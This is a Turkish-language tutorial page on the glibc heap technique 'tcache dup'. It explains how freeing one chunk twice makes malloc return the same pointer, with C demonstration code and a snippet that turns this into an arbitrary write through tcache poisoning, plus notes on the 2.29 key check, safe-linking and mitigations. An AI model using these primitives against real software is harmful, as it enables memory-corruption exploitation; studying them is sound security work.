tcache dup¶
Aynı chunk'ı bir tcache bin'ine iki kez free ederek singly-linked freelist'in kendisini göstermesini ve
malloc'un aynı pointer'ı tekrar tekrar dağıtmasını sağlamak.
Mechanism¶
Note
tcache, singly-linked LIFO freelist'lerden oluşan per-thread bir dizidir.
2.29-öncesi free yolunda (tcache_put) hiçbir double-free kontrolü yoktu —
basitçe chunk'ı tcache->entries[tc_idx]'in üzerine push eder ve count'u artırırdı:
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
e->next = tcache->entries[tc_idx]; // (glibc 2.27/2.28: no key field)
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
Aynı chunk p'yi iki kez free etmek, next alanının kendisini
göstermesine yol açar (p->next = p) ve counts 2 olur. tcache_get körlemesine pop eder:
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next; // == e again
--(tcache->counts[tc_idx]);
return (void *) e;
}
Yani o size'ın üç malloc'u p, p, p döndürür — klasik "dup".
Aynı canlı pointer iki kez döndürüldüğü için, ikinci allocation
birincisinin next'ini overwrite etmek için kullanılabilir; bu tam olarak
tcache poisoning'dir: freelist head, kontrol ettiğin
bir pointer olur.
glibc 2.29+'ta bunu tespit etmek için bir key alanı eklendi; onu yenmek,
tamamlayıcı tcache key bypass'tir. Bir use-after-free ile
key'i ezerek gerçek bir double-free'nin yine de geçmesini sağlayabilirsin.
Walkthrough¶
Klasik glibc-2.27 gösterimi:
#include <stdio.h>
#include <stdlib.h>
int main() {
fprintf(stderr, "Allocating a chunk.\n");
int *a = malloc(8);
fprintf(stderr, "malloc(8): %p\n", a);
fprintf(stderr, "Freeing the same pointer twice (tcache dup).\n");
free(a);
free(a); // glibc <= 2.28: accepted silently
fprintf(stderr, "Now the tcache bin loops on itself.\n");
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", b);
fprintf(stderr, "2nd malloc(8): %p\n", c);
// b == c == a
}
Beklenen çıktı (glibc ≤ 2.28):
malloc(8): 0x55…2a0
1st malloc(8): 0x55…2a0
2nd malloc(8): 0x55…2a0 <- same address handed out twice
Bir arbitrary write'a silahlandırma (tcache poisoning):
free(a); free(a); // a->next now points to a
intptr_t *b = malloc(8);
*b = (intptr_t)⌖ // overwrite a->next with the target address
malloc(8); // pops a
intptr_t *x = malloc(8); // pops &target -> arbitrary allocation
*x = value; // arbitrary write
Warning
glibc ≥ 2.29'da ikinci free(a),
free(): double free detected in tcache 2'yi tetikler ve abort eder; çünkü
tcache_put artık e->key = tcache_key damgası vurur. Ham double-free orada
yalnızca key önce corrupt edilirse hayatta kalır — bkz.
tcache key bypass. 2.32+'ta next pointer'ı ayrıca
safe-linking ile XOR-mangle edilir, dolayısıyla
poisoning adımı bunu hesaba katmalıdır.
Mitigation¶
- glibc 2.29 per-entry
key'i ve per-bin count/tcache_countkontrollerini ekledi. - glibc 2.32
next'e safe-linking (pointer mangling) ekledi. - Bir double-free'yi, key üzerinde bir UAF ya da tesadüfi bir key çakışması (≈ 2^wordsize'da 1) olmadan tcache'e iki kez push etmek imkânsızdır.